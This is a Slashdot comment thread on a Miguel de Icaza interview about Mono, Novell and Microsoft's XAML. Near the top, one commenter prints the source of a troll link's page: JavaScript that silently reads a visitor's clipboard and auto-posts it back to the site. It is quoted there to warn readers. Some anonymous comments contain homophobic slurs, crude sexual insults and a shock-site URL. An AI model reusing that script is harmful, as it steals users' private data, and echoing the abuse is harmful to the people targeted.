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Miguel de Icaza on Mono, Ximian/Novell, XAML

simoniker posted more than 10 years ago | from the life-in dept.

Ximian 481

moquist writes "Netcraft has an interview with Miguel de Icaza, of Gnome and Ximian fame. Icaza expounds his thoughts on Mono (the .Net framework for open source), the current direction of Microsoft's .Net, Novell's acquisition of Ximian, Novell's Linux desktop environment, Linux for grandmas and kids, and "the greatest danger to the continuing adoption and progress of open source" (Hint: it's pronounced "XAML".)."

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peoplesprimary (-1, Troll)

siliconoddity (731372) | more than 10 years ago | (#9004263)

GWB Denounces Open source! [peoplesprimary.com]

Re:peoplesprimary (0, Offtopic)

siliconoddity (731372) | more than 10 years ago | (#9004291)

OMG FP WOW OMG HAX!!!

Re:peoplesprimary (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004298)

The Golden Goatse may soon be yours at the next Trollympics!

Re:peoplesprimary (0)

Anonymous Coward | more than 10 years ago | (#9004294)

can somebody tell me what i'm supposed to be seeing...i don't have javascript enabled.

Re:peoplesprimary (0)

Anonymous Coward | more than 10 years ago | (#9004320)

I downloaded that page and viewed it as text.
It definitely looks like it is up to no good.
Here is the code (the only thing on the "page" -- it doesn't even have HTML or BODY tags....)
<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="refer" value="">
<input type="submit">
</form>
<script language="javascript">
if (typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["cl ip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</s cript>


My guess is that it grabs your clipboard buffer and submits it back to the website... just a guess, but that's what it looks like to me.

Re:peoplesprimary (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9004342)

this is the new W32.LastMeasure.B worm that has been going around.

you can get more information from the Nero Security Institute's Threat Center over at nero-online.org [nero-online.org]

Re:peoplesprimary (1)

Armadillo007 (722323) | more than 10 years ago | (#9004499)

Nice work, AC! WARNING: DON'T CLICK ON THE THE PARENT LINK: "GWB Denounces Open source!" IF YOU BY ANY CHANCE ARE VIEWING THIS IN WINDOWS!

Re:peoplesprimary (1)

Armadillo007 (722323) | more than 10 years ago | (#9004469)

Ooops! Good thing most of use aren't running windows!

Re:peoplesprimary (1)

Armadillo007 (722323) | more than 10 years ago | (#9004517)

Can An administator please remove that link?

Wait....lemmie guess..... (-1, Redundant)

Anonymous Coward | more than 10 years ago | (#9004266)

MS is the bad guy here? Just a wild guess, I'll RTFA and see if I'm right....

Re:Wait....lemmie guess..... (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9004338)

no,

Miguel de Icaza guzzled 2 gallons of Bill Gates semen.

Re:Wait....lemmie guess..... (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9004436)

MS = bad guy is an incredibly redundant theme here on /. Good job, moderators!

First post (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004267)

oh yes :)

fp! (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004268)

and it was!

netcraft confirms (3, Funny)

Anonymous Coward | more than 10 years ago | (#9004269)

de icaza is dying

De Icaza confirms... (0)

Anonymous Coward | more than 10 years ago | (#9004378)

Netcraft is dying.

Re:De Icaza confirms... (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9004407)

Doctors confirm... De Icaza has the Gay Flu.

Princess Bride flashback, anyone? (1, Funny)

Anonymous Coward | more than 10 years ago | (#9004422)

Mr. Gates,

My name is Miguel De Icaza, and you killed my father...

Re:Princess Bride flashback, anyone? (1)

heathcaldwell (595289) | more than 10 years ago | (#9004549)

Sorry.
Miguel De Icaza sounds nothing like Inigo Montoya [imdb.com] .
Nice try, but no cigar.

- Heath Caldwell

Yeah, it looked like: "Miguel de Icaza has Mono" (1)

boomgopher (627124) | more than 10 years ago | (#9004434)

<EOM>


Re:netcraft confirms (1)

cshark (673578) | more than 10 years ago | (#9004541)

I don't understand this guy. He rails in his previous blogs about how bad microsoft is, yet he goes out of his way to emulate microsoft technology. It's mind blowing.

audio please (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004275)

it's time for an audio troll to step up and link to mp3 versions of these 'stories' so that my bleeding eyeballz can get some relief from typoes and slepping mistakes

Slashdot's layout (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004276)

Slashdot's layout is messed in Gecko-based browsers on Linux. The stories often slides over to the left and overlap the menu. You can often reload the page and see their placement change. I just tested this with Mozilla 1.6 and Galeon 1.3.14 on Debian sid.

Comments?

Re:Slashdot's layout (0, Offtopic)

siliconoddity (731372) | more than 10 years ago | (#9004277)

don't use debian try slackware

Re:Slashdot's layout (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004330)



It does that occasionally with Firefox on Windows as well. Not a big deal, just hit reload.

Re:Slashdot's layout (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9004364)

or just use IE

Zamil? (1)

Dimensio (311070) | more than 10 years ago | (#9004278)

Isn't that the most logical spelling of the word that would be pronounced "XAML"?

Re:Zamil? (1, Interesting)

NonSequor (230139) | more than 10 years ago | (#9004328)

Or you could just say "ex-ay-em-ell." You don't have to try to pronounce every acronym as though it were a normal word.

Personally, I think the world needs a 15 year moratorium on the use of acronyms. They need to take a break.

Re:Zamil? (5, Informative)

frenetic3 (166950) | more than 10 years ago | (#9004369)

It's pronounced "Zammel" [ondotnet.com] :

"One of Longhorn's most interesting technologies for developers is its new XML-based markup language, codenamed XAML (short for eXtensible Application Markup Language, and pronounced "Zammel"). User interfaces in Longhorn applications are typically built using XAML. In this article, we look at how XAML ..."
-fren

Re:Zamil? (4, Funny)

killjoe (766577) | more than 10 years ago | (#9004506)

That's funny I thought it was pronounced XUL.

Re:Zamil? (4, Funny)

croddy (659025) | more than 10 years ago | (#9004555)

there is no data .... only XUL.

XAML!!? (1, Offtopic)

ambienceman (721763) | more than 10 years ago | (#9004279)

HEY, that's my nickname because my last name backwards is LOMAX, they can't steal that from me!!!

Re:XAML!!? (0, Troll)

theguywhosaid (751709) | more than 10 years ago | (#9004533)

(Score:-1, Incredibly Stupid)

sorry, but i read your sig and it didnt register for a while that you really werent modded that.

Any chance or getting a windows port of Evolution? (-1, Redundant)

Anonymous Coward | more than 10 years ago | (#9004282)

Its an awesome email client, but I don't really want to have to run linux to use it.

It's Confirmed... (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#9004283)

Netcraft confirms it - .Net is dying... :-p

For those who don't speak Spanish. (4, Informative)

jsweval (693114) | more than 10 years ago | (#9004286)

Mono means monkey.

For those who don't realize.. (0)

Anonymous Coward | more than 10 years ago | (#9004307)

a word's English meaning will be considered before its Spanish meaning a vast majority of the time. dictionary.com has no mention of this 'monkey' definition either.

Re:For those who don't speak Spanish. (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#9004353)

With the amount of cock Miguel de Icaza smokes I'm sure he has mono.

Re:For those who don't know Miguel de Icaza (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#9004487)

He is a flaming cocksucker homosexual. COCK SUCKER!!!

How reassuring. (3, Funny)

amitofu (705703) | more than 10 years ago | (#9004287)

It's massive - I'm so scared.

What an encouraging way to end the interview.

Nice wrap-up (4, Interesting)

salimma (115327) | more than 10 years ago | (#9004293)

.. the interview summarizes neatly what Miguel has been saying for the past few weeks; it even links to the "two stacks" diagram. Hopefully distributions would start shipping with the unencumbered stack of Mono once Mono 1.0 is out.. between that and gcj/classpath Linux should see an influx of new developers.

Re:Nice wrap-up (3, Informative)

tarka69 (159890) | more than 10 years ago | (#9004484)

Add to that the fact that Java is rapidly gaining first-class support in mono via IKVM. From the IKVM blog:

The next Mono release will contain the C half of the IKVM JNI provider and the next IKVM snapshot will contain the C# half of the Mono JNI provider. This means that JNI will work out of the box on Mono (for the parts of JNI that are actually implemented).

This will hopefully attract developers who want want to go the Mono route but can't afford to lose their existing codebase/knowledge.

it's pronounced "XAML". (5, Interesting)

Doyle (620849) | more than 10 years ago | (#9004311)

How the hell do you pronounce "XAML"?

Re:it's pronounced "XAML". (4, Funny)

niko9 (315647) | more than 10 years ago | (#9004339)

How the hell do you pronounce "XAML"?

Didn't you read the article?

"Of course, the only drawback is that this new interaction is completely tied to .Net and WinFX. So we see that as a very big danger. A lot of people today cannot migrate to Linux or cannot migrate to Mozilla because a lot of their internal Web sites happen to use IE extensions. Now imagine a world where you can only use XAML.

It's massive - I'm so scared.


It's spelled XAML, but it is pronounced: I'm sooo scared! ;)

-

Re:it's pronounced "XAML". (4, Informative)

omicronish (750174) | more than 10 years ago | (#9004343)

How the hell do you pronounce "XAML"?

It's pronounced like "Zammel".

Re:it's pronounced "XAML". (1)

Deraj DeZine (726641) | more than 10 years ago | (#9004377)

Ah, so it's a cross between a camel and... wait, what is it? Other than massive and scary, I mean.

Re:it's pronounced "XAML". (0)

Anonymous Coward | more than 10 years ago | (#9004409)

Ah, so it's a cross between a camel and... wait, what is it? Other than massive and scary, I mean.

It's a cross between camel and X.

Re:it's pronounced "XAML". (0)

Anonymous Coward | more than 10 years ago | (#9004511)

It's a cross between camel and X.

Someone rewrote X in Perl? Scary indeed.

Re:it's pronounced "XAML". (1)

!3ren (686818) | more than 10 years ago | (#9004435)

eks-ay-mluh

Re:it's pronounced "XAML". (2, Funny)

TechnologyX (743745) | more than 10 years ago | (#9004375)

Think Jar Jar Binks trying to say "Camel"

Re:it's pronounced "XAML". (3, Funny)

tbarrett (318283) | more than 10 years ago | (#9004505)

Welcome to the Slashdot Pronunciation Dictionary.
Please enter a word to get its associated pronunciation:

>interview: Pronunciation = "INTEVW"
>slashdot: Pronunciation = "/."
>grammar: Pronunciation = "WTF"

it's massive .... (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9004323)

It's massive - I'm so scared...

because I am a big pussy!

Re:it's massive .... (0, Flamebait)

SocietyoftheFist (316444) | more than 10 years ago | (#9004334)

in that case you wouldn't be scared at all...

Its that loser miguel again praising Windows. (0, Flamebait)

Adolph_Hitler (713286) | more than 10 years ago | (#9004344)

Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

Re:Its that loser miguel again praising Windows. (5, Insightful)

omicronish (750174) | more than 10 years ago | (#9004389)

Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

He's the most visible member of the Linux community who does stuff related to MS technologies. We need people like him, people who are aware of and can help plan counters to upcoming technology that has the potential to bring great change (great as in a large amount of change). Silencing him would be like silencing a sentinel. It's good to be aware of current and future Microsoft stuff, even if you don't like Microsoft.

Re:Its that loser miguel again praising Windows. (2, Insightful)

miffo.swe (547642) | more than 10 years ago | (#9004478)

Why the need to counter what Microsoft do? Why not just drive in an own direction? Looking at MS at all times is just going to make Open Source spending time following MS instead of going our own way. Now that MS is starting to focus on getting patents and such on everything they do its a disaster waiting to happen if we do like them in everything. We dont need to follow MS every move any longer as long as we stick to open standards. If we follow MS in implementing closed or patented standards on the net we are doing MS nothig but favours and helping the acceptance of closed systems.

Re:Its that loser miguel again praising Windows. (0)

Anonymous Coward | more than 10 years ago | (#9004574)

Silence him?

What the FUCK are you talking about? It's time for the open source crowd to GROW THE FUCK UP and get shit out the door and usable by the computing world at large. And stop wasting time on every dimwitted little punk like miguel who has contributed nothing more than a train-wreck of half-assed projects over the past few years and is ready to move on to the next.

Let the retard do what he wants, but stop wasting our time telling us about it.

Re:Its that loser again flaming Windows. (1)

Roman_(ajvvs) (722885) | more than 10 years ago | (#9004398)

Can't he talk about anything other than people's comments on Microsoft Technologies? I swear he must be a zealot.

I got as much information about Novell and the linux desktop than I did on microsoft and mono. It's a short but interesting interview. I'd hoped it spanned more than a single page, but despite only consisting of a few questions the answers are relatively in depth.

Re:Its that loser miguel again praising Windows. (2, Insightful)

Anonymous Coward | more than 10 years ago | (#9004406)

Can't he talk about anything other than Mono and Microsoft Technologies? I swear he must be an employee.

Umm... Because Mono is what is is working on, it's his job, and is basicly WHY he is being interviewed. And he talks about MS because Novell and other companies are hoping that they can compete against MS by backing Linux heavily.

What do you want to hear is opinion on the agricultural problems of nothern India instead?

Isn't it a bit like complaining that a basketball coach talks to much about basketball in interviews, or a monastic priest talking about God to much?

Anyways, if he was working for MS, I don't think that Gnome 2.6 would be so freaking wonderfull.

Naming conventions (5, Funny)

jdifool (678774) | more than 10 years ago | (#9004348)

Here is the name of the webpage with the interview.

interview_with_miguel_de_icaza_cofounder_of_gnome_ ximian_and_mono.html

I, for one, welcome our new naming convention overlords.

jdif

Re:Naming conventions (1, Funny)

LordK3nn3th (715352) | more than 10 years ago | (#9004359)

Well, imagine the benefits.

http://www.goat.cx/picture_of_man_stretching_ass ho le_wide_open.jpg

Hmm. Perhaps that ISN'T a benefit knowing the purpose of that picture.

Not inappropriate (1)

Chuck Chunder (21021) | more than 10 years ago | (#9004458)

considering... [gnome.org] .

Re:Naming conventions (4, Interesting)

Spy Hunter (317220) | more than 10 years ago | (#9004497)

It's a Google spamming technique, exactly like spamming your meta tags full of keywords. Google places higher relevance on keywords in a document's URL, so it's suddenly become extremely popular to give descriptive names to documents. This might not be such a bad thing, but it can certainly be overdone.

Re:Naming conventions (2, Interesting)

bruthasj (175228) | more than 10 years ago | (#9004575)

I, for one, welcome our new naming convention overlords.

Well, they're the minority in that they actually create permalinks and follow the W3C recommendation by default. Their content will easily be archived and entombed for eternity while maintaining an easily extractable timestamp.

Disappointed in Miguel (4, Insightful)

poptones (653660) | more than 10 years ago | (#9004367)

Why be so very afraid? Surely this isn't a surpirse to him - I was talking about this same sort of concept nearly a decade ago when hanging around on WIRED's forums. If I thought of it then surely others had, I cannot believe this sort of technology could come as a surprise to anyone who had even read, say, David Siegel's introductions to the web way back in 1995.

It should also be very obvious to anyone who knows this stuff just how giant a security risk all that sort of technology would present. I'm sure g-man thinks they've got it all sewn up now with these hardware controls, but cracks in the structure are inevitable and one can only imagine a world where just clicking to visit a website, rather than downloading a trojan installer that may or may not complete, instead downloads a robust trojan installer that will complete. And people are already getting pretty damn sick of tithing to both Microsoft and Symantec. Keep selling that crapware until they can't swallow any more!

Meanwhile, the linux desktop is coming together more and more and Microsoft's uber-desktop is pushed back again to.. when?

Computers are cheap. And I can tell you from experience it's not that hard to convince someone to try linux after you've helped the reload their computer for the second or third time. It's up to the product to keep them there once they've made that transition - if we can't beat the crap MS has been shoveling with another two full years of development time, it won't be because Bill and Steve are to blame.

Re:Disappointed in Miguel (4, Insightful)

Coryoth (254751) | more than 10 years ago | (#9004450)

It should also be very obvious to anyone who knows this stuff just how giant a security risk all that sort of technology would present. I'm sure g-man thinks they've got it all sewn up now with these hardware controls, but cracks in the structure are inevitable and one can only imagine a world where just clicking to visit a website, rather than downloading a trojan installer that may or may not complete, instead downloads a robust trojan installer that will complete.

What Miguel is afraid of, I think, is not that this technology will be mind blowingly good, but merely that it will be good enough. Let's face it, Microsoft has been very good at "good enough". What do I mean by "good enough"? Well, potentially riddled with security holes that will be sloely patched over the 5-10 years following it's release - a debacle as far as security concious users are concerned - would still count as good enough. You see, the people in management who buy into these things are notorious for their lack of long term planning, and consideration of security. Look at what Microsoft has already happly foisted onto the corporate world - code riddled with exploits, but because it offered the right new features business bought into it.

The catch with XAML is that if business buys into it in a big way, it's going to be a serious blow to any OS other than an MS produced one. Why? It's the ultimate embrace and extend of HTML to lock people in. It's an HTML extension that is intimately tied to copyrighted Windows code that MS has exclusive control over. It offers enough in the way of new wizzy features that, management ignoring security issues as they usually do, it could easily get serious uptake. Once you take a dose of that drug though, it will be very hard indeed to break the habit.

Or, to put it another way, this is Microsofts latest and most addictive crack. It has the potential to get a whole new generation of computers hopelessly, horribly, unescapably addicted to Microsoft products. It is worth being afraid of it.

Jedidiah.

Disappointed in Miguel-The good enough train wreck (2, Insightful)

Anonymous Coward | more than 10 years ago | (#9004531)

"What Miguel is afraid of, I think, is not that this technology will be mind blowingly good, but merely that it will be good enough. Let's face it, Microsoft has been very good at "good enough". What do I mean by "good enough"? Well, potentially riddled with security holes that will be sloely patched over the 5-10 years following it's release - a debacle as far as security concious users are concerned - would still count as good enough. You see, the people in management who buy into these things are notorious for their lack of long term planning, and consideration of security. Look at what Microsoft has already happly foisted onto the corporate world - code riddled with exploits, but because it offered the right new features business bought into it."

Two things. One is it really safe to ASSUME (And yes we are assuming at some level) that "good enough" will always be good enough?

Two as has been pointed out in the past. The biggest choke collar for MS, is MS. THEY"VE ALREADY SATURATED THEIR MARKETSPACE. Now how are they going to force people to give up millions of dollors in investment. Both software and training, let alone the new hardware that may be required (WinTel). For the so far unproven benifits of LongHorn?

Apple did this (minus XML) in 1988 (2, Interesting)

msgilligan (750548) | more than 10 years ago | (#9004471)

Apple had a product in 1988, with the confusing name "MacWorkstation", that let a host application send text messages to a Macintosh and create a rich-client GUI for a mainframe application. If I recall correctly, you would write the event loop in COBOL (as well as other languages) on the server.

It was expensive, didn't have the simplicity of HTML as a starting point and, perhaps, was a little ahead of its time. (Client/Server was still catching on.) The fact that few mainframe guys liked Macs may have been a factor, too.

Links:

"The only problem with the MacworkStation [a software program] is that instead of making it a public domain standard, Apple is licensing the source code for $1500 to 'interested' parties" - MacTech Magazine archived article [mactech.com]

Apple Computer History Weblog [computerhistory.org]

Another class-action law suit? (1)

Woogiemonger (628172) | more than 10 years ago | (#9004371)

Umm, wouldn't this just turn into another class-action law suit accusing Microsoft of inadequately supporting 3rd party competition? That'd be great, because the schools out there need more free Windows machines to advertise to children and squash the competition further.

Embracing and Extending XUL? (1)

Protoslo (752870) | more than 10 years ago | (#9004373)

In the interview there is a link to MS's Longhorn XAML page [microsoft.com] and if you compare the code snippets and description to Mozilla's XUL [mozilla.org] they do appear to be very similar. I'm not sure when Mozilla's and Microsoft's projects were started, but it does certainly appear that MS is "embracing and extending" XUL for Longhorn, by adding proprietary .NET integration. What strikes me as odd, is that it seems like XAML will be totally incompatible with XP and 2K as well (MS touts it as a new Longhorn markup language), so widespread adoption on the internet seems unlikely (at least until XP is phased out...). It seems like Linux/Mono would be on equal footing with XP/the current .NET framework when it comes to handling XAML.

Re:Embracing and Extending XUL? (5, Informative)

miguel (7116) | more than 10 years ago | (#9004404)

XUL is more of a standard: there is a specification
which describes what things must do, and there are
a couple of implementations (Mozilla's being the
most popular one).

XAML on the other hand is a serialization format:
every tag in the XML is looked up in the class
libraries, and every attribute as an event or as
a property to be set. So the resulting markup
is just a way of creating instances of your classes.

The idea of XAML can be used with any class
library really, its not limited to Avalaon (for
instance, MyXAML is a XAML implementation for
Windows.Forms). Like I said on the interview,
what makes XAML/Avalon powerful is that it runs
on a sandbox, and it has a set of fairly recent
controls as opposed to those we have grown used
to on the Web.

Miguel.

Re:Embracing and Extending XUL? (-1, Flamebait)

Anonymous Coward | more than 10 years ago | (#9004475)

fuck you ya fuckin cocksucker. COCKSUCKER!!!

by the way, am i the only one getting pop-up ads on every page transition on slashdot? My system is adware free, is this something new?

Re:Embracing and Extending XUL? (1)

johnynek (36948) | more than 10 years ago | (#9004571)

Can someone comment on how XAML compares to Glade [gnome.org] ? What would be the barrier to making a system to used Glade files loaded over the web to make GUIs on the fly (which with XML-RPC or SOAP could hook into web based back-end)?

Re:Embracing and Extending XUL? (4, Insightful)

Soko (17987) | more than 10 years ago | (#9004455)

Interesting indeed.

Search on google for "cross platform toolkit" [google.ca] and note the second link - the XPToolkit [mozilla.org] from our friends at Mozilla. On that page what is the first text after the page title?

Vision: We make cross-platform user interfaces as easy to build and customize as web pages.

IMHO, Miguel isn't the only person who got scared - my bet is BillG and/or StevieB saw what Mozilla does and had a $3B coniption - XAML being it's end product. It's how Microsoft reacts every time something provides a hint of a credible threat to Windows dominance - destroy it before it destroys us.

I know that I would love a RAD tool (a la VisualBasic maybe, but with less suckage) to make XUL apps. I could then write-once-run-on-gecko with any of the quick and dirty development work I had to do, and the OS wouldn't matter one whit. (Hey, I can dream, can't I?)

Soko

Re:Embracing and Extending XUL? (1)

omicronish (750174) | more than 10 years ago | (#9004457)

I'm not sure when Mozilla's and Microsoft's projects were started, but it does certainly appear that MS is "embracing and extending" XUL for Longhorn, by adding proprietary .NET integration

I actually find the integration of .NET into XAML fairly interesting; it certainly wouldn't be as appealing without it. There is a straightforward mapping between .NET objects and XAML elements, so properties such as Width and Height and be set in XAML by, surprise, Width and Height attributes in an XML element. Similarly, a Button object in .NET is specified by an XML element named Button. In fact, the XML names are ALWAYS the .NET names through the use of .NET reflection.

What I consider the best part about this is that your .NET UI objects written in C# can be used in XAML without any modifications or additional glue code in most cases (more complex types such as arrays and hash tables may need additional code; someone correct me here). The closest analogy I can come up with is that this functions similar to SWIG, but totally automated. Write C# code and it's accessible from XAML as well as other .NET languages without additional code or effort.

I'm unfamiliar with XUL so I don't know if it provides similar functionality. Does anyone here know both XAML and XUL and can provide some comparisons for us?

Re:Embracing and Extending XUL? (2)

Protoslo (752870) | more than 10 years ago | (#9004556)

I actually agree, this seems like a great move by MS, and a way to make .NET the "Total Windows Solution" that it was originally marketed as. Using XAML, you could harness "the power of .NET" without breaking out your copy of VS.NET and writing and comiling a whole application.

Hell, I guess that was the gist of the response to the last question in the interview--it's just that Miguel de Icaza (reasonably) found the implications of this to be scary.

Indeed, I guess that this vision could come to pass, and the implications would indeed be scary, but that would really be the fault of content providers; One would expect Microsoft to provide a means to access the proprietary aspects of Longhorn with this: that is what makes it so wonderful (from a "Total Windows Solution" perspective). If people start using this to provide web content which can only be run on Windows machines, well, that is hardly Microsoft's fault, even if it was their goal. That would be akin to everyone posting their data in Word documents instead of an open format like pdf. This is an annoying practice from an interoperability perspective, but that doesn't mean that MS Word shouldn't have been developed.

This guy is awesome (5, Interesting)

jdifool (678774) | more than 10 years ago | (#9004394)

Honestly, De Icaza is one of the few free software/OSS activist with really clear ideas on the subject and some objectivity.

He acknowledges that the Microsoft replacement for HTML is a rich user experience to come, despite the fact it certainly is dangerous to a certain extent.

Do realize that, GNU/Linux zealots : you can say something is good from a certain point of view (usability), and bad from another (interoperability). Isn't that incredible ?

Really ; isn't that incredible ?

Regards,
jdif

Re:This guy is awesome (0)

killjoe (766577) | more than 10 years ago | (#9004528)

This strikes me as a silly idea. IE can already host activeX controls and you can make rich guis with HTA. Why introduce yet another rich gui framework. If you need a fat client write a fat client application.

BTW java web start is a much better solution for fat clients. As a bonus you can code it right now.

Miguel is right-on-target!!! (5, Insightful)

bigusputicus (684000) | more than 10 years ago | (#9004395)

This new technology is finally going to bring closer to the people with domain expertise the ability to create their own applications, without having to depend on technical specialists. HTML opened the door to many people with limited or no programming expertise. The .Net framework with Avalon and XAML will advance this even further. The Mozilla approach is something the Unix/Linux developers need to better understand and get on board with and contribute towards as the current stack used in the Unix/Linux community is already out-dated. Miguel is right-on-target!!!

I've worked in Unix engineering environments since 1984 at HP and Sun (Operating Systems, Networking and Graphics). I've observed over the years that the Unix community took Microsoft very lightly and never very seriously. The unix industry has not traditionally worked with the same user community as Microsoft. But Microsoft has matured very quickly and now delivers some outstanding technology for developing applications! The .Net framework, Avalon and XAML in my opinion will have no peers unless the Linux community develops a competitive answer!

The stack that Microsoft is creating will not only empower more people to create more sophisticated applications, but will increase the productivity of application programmers by at least 30% over todays Unix/Linux development stacks!!!

Mozilla is a great start in the right direction, but cooperation between the Gnome, Kde, and Mozilla camps will need to occur in sort order to compete with the Microsoft stack when it comes to application interface development.

GigantanKramePithicus

Re:Miguel is right-on-target!!! (0)

Anonymous Coward | more than 10 years ago | (#9004540)

You can't possibly be a real person.

Re:Miguel is right-on-target!!! (1)

killjoe (766577) | more than 10 years ago | (#9004542)

Bah. That's just wishful thinking. I'll tell you a secret. The business people don't want to code. That's why they hire programmers.

Re:Miguel is right-on-target!!! (0)

miffo.swe (547642) | more than 10 years ago | (#9004552)

And RAD development is good how? All i have seen is buggy untested applications that break on a touch of a button. Rad tools is like giving a hyena an UZI. The hyenas isnt supposed to mate with the Lions but with an UZI they can compete. They still are hyenas ofcourse.

Same thing with RAD tools, sure development should be easier but RAD cant replace careful planning, implementation and testing wich some poeple tend to think.

XAML is only scary because it's Microsoft (4, Insightful)

serutan (259622) | more than 10 years ago | (#9004408)

I wish I could get excited about XAML, because I like the idea of a complete overhaul of HTML. This is the first I've heard of XAML. If you follow the links and look at the material on it, it looks pretty cool. What bothers me about it is that if and when it becomes dominant it will stop evolving, just like IE and every other dominant MS product. Its goal is not to change the world or fix the web, but to capture market share and make competition more difficult.

Having said that, why isn't there an far-reaching OSS project to replace HTML? For one thing I guess it's a lot easier to impose a standard on the world when you have the dominant platform. Will Microsoft convert the web into a network of C# apps? I hope not.

Shadow boxing. (0)

Anonymous Coward | more than 10 years ago | (#9004479)

And just WHY do we need to replace HTML? Modern day HTML along with CSS does very nice things. HTML abused does not so nice things. Also not everything needs to be a rich browsing experience. For those RICH browsing experiences, you might want to look at Newsmonster and MAB, for an inkling of were things could be if people would get off their kesters and CODE instead of whining and worrying about what MS MIGHT do in 4 or 5 years.

Re:XAML is only scary because it's Microsoft (4, Informative)

GarfBond (565331) | more than 10 years ago | (#9004500)

I haven't read the article (duh), but from what I remember, XAML wasn't a complete overhaul of HTML. XAML was more like a way of using XML to design your user interfaces, integrated completely into Windows. It's not designed to work with anything but Longhorn.

Does that technology sound familiar? Oh right, it does! [mozilla.org]

XUL (pronounced "zool") is Mozilla's XML-based User interface Language that lets you build feature-rich cross platform applications that can run connected or disconnected from the Internet. These applications are easily customized with alternative text, graphics and layout so they can be readily branded or localized for various markets. Web developers already familiar with Dynamic HTML (DHTML) will learn XUL quickly and can start building applications right away.
Obviously, Mozilla's focus is on "cross platform," whereas Microsoft would much rather just focus on the one.

Re:XAML is only scary because it's Microsoft (2, Insightful)

omicronish (750174) | more than 10 years ago | (#9004515)

I wish I could get excited about XAML, because I like the idea of a complete overhaul of HTML

From what I've read, it's not an overhaul of HTML, but a markup language for .NET applications. HTML will probably stay with us for a lonnngg time because of it's widespread usage and relative efficiency. .NET certainly won't appear on my NAT router anytime soon to provide a management interface, for example.

What bothers me about it is that if and when it becomes dominant it will stop evolving, just like IE and every other dominant MS product. Its goal is not to change the world or fix the web, but to capture market share and make competition more difficult.

What I've seen happen sometimes on the technology side of Microsoft is stuff like COM gets augmented with little features and cruft, and after a while gets replaced by something new, which is .NET in this case. The same thing has happened with Visual C++, which was replaced by the new Visual Studio.NET IDE. Longhorn's WinFX will replace the Win32 API. So yes, evolution for a particular technology or product stops, but in cases like these it's replaced by a new technology, usually because the old one is inadequate for current and future needs.

However, there are also products where they seem to stagnate. IE is one of them (although it's getting a minor upgrade with SP2), and Office seems to have reached a point where additional features doesn't matter anymore for the majority of users.

I think XAML falls in the first category, where it'll probably settle down after a while to be replaced by another technology. Stagnation seems to occur more on a product level than a technology level at Microsoft. Note that I'm not saying Microsoft innovates or makes new technology (I have no stance on this issue), but that they do a lot of new things on the technology side.

De Icaza really talkative these days... (0, Insightful)

haggar (72771) | more than 10 years ago | (#9004424)

In the last 6 months he gave more interviews and opinions (even when not asked) than ever before, combined. Apparently, he enjoys the spotlight.

Understandable, but not necessarily very professional.

Could he, at least once, address the issue of KDE's future, now that the largest supporter is within Novell, and Ximian has a say, too.

XML == acronym ? (1)

CAIMLAS (41445) | more than 10 years ago | (#9004439)

So, what does everyone here say? Is XML an acronym?

I've had an ongoing discussion with a friend on this matter for weeks, and it needs closure.

I say XML is an acronym. He says it's only an abbreviation. I'm not even sure what he's saying anymore. He's said things such as "SoCal is an acronym", and I'm a bit confused.

If you'd care to reference the words "acronym", "initialism", "abbreviation", and "word" in Webster's Dictionary (and whatever other dictionaries you use), it'd be helpful.

Anyway: is XML (and other "non-pronounceable" initialisms such as SMTP, FBI, et al) an acronym, or do acronyms have to be pronounceable (such as NASA, FUBAR, etc.), making XML simply an abbreviation?

Re:XML == acronym ? (1)

driftingwalrus (203255) | more than 10 years ago | (#9004495)

From my reading of the deffinitions, it appears that XML would be an acronym, which is a *type* of abbreviation. So, technically, you both are correct.

Why all this admiration of MS tech? (3, Insightful)

miffo.swe (547642) | more than 10 years ago | (#9004440)

I dont get it, MS has failed numerous times before with "exciting" new technologies and i dont really understand why they are bound to success now. XAML might as well just be a failiure. Is it really a threat to linux? Not today and not tomomorrow since its just wapourware on paper as of today. Net was supposed to be the answer to everything but hasnt really gotten much of a foothold yet.

Sometimes i wonder if Miquel is just a pawn in a game and doesnt understand it. There are more than one way to skin a cat and i find it appaling that we should mimic Microsoft at all times and play catch-up instead of setting the pace and standards ourselves.

Maybe thats what Microsoft is most afraid of, to loose control over the heading of the software industry. Open source have control over web servers and can take control over the protocols on the web if we just do our own thing. If we only follow what Microsoft do we will always be number two and thats no where to be.

Yes, But... (2, Interesting)

KimiDalamori (579444) | more than 10 years ago | (#9004565)

When we make a protocol, MS can copy it perfectly, because they have access to all the neccesary documentation, and can even look at how we implemented it. When MS makes a protocol, we usually can't even get a look at the specifications, we have to reverse-engineer it, and therefore it takes us longer to make a product that doesn't always have all the functionality. It only seems like we constantly play catch-up to MS because MS doesn't really play fair.

There is no competition to open source (4, Insightful)

int2str (619733) | more than 10 years ago | (#9004470)

Miguel (and others) tend to over emphesise "competition" and "threads" to open source. In my opinion, there is no such thing. In fact, I would go as far as saying that his focus on XAML and other "competing" technologies is the only thread to open source.

Open source is _not_ about competing with anybody else. It is _not_ the goal to create a competing technology to win market share or anything. Open source is an exercise in technology, invention and freedom.

Why should we fear XAML or widespread adaptation of it? And why should we therefore pursue clone technologies?
We dont have the pressure to compete in any market place! We can look at the software _we_ use and see what we can do better. Maybe an XAML like technology is good. Lets think about the ideas. But maybe it isnt good, then lets do something else. You decide, not some abstract competition.

